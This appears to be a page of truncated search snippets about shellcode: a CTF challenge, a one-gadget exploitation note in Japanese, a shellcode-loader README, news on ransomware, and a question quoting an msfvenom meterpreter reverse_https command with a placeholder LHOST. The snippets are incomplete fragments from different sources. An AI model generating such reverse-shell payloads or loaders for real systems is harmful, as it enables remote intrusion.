The method that this tool uses is a simple one that opens a location in its address space with a call to VirtualAlloc with permissions of read, write, and execute. VirualAlloc is a Windows specific ...

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_3 ...

Buffer overflowを用いて、shellcodeを実行するとき、一つのgadgetだけを用いて、shellの実行ができるものを意味する。今回は、このone gadgetを用いて実際のshellを得るまでの流れを考える。 まず、以下のような脆弱性があるプログラムがあるとする。 このプログラム ...

Welcome to the MemoryExec-Shellcode-Loader repository. This tool helps you run encrypted shellcode on Windows. Follow these steps to download and use the tool effectively. MemoryExec-Shellcode-Loader ...

How come there are no user-agent strings embedded in the shellcode when using this command: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 ...

IT security experts have dismissed a research paper warning about malware that can be hidden within what appears to be plain English prose, noting that this threat is nothing new. In a recent report ...

Researchers have discovered a new ransomware variant that they say has significantly different behavior and characteristics than most other ransomware types. The ransomware, called PwndLocker, was ...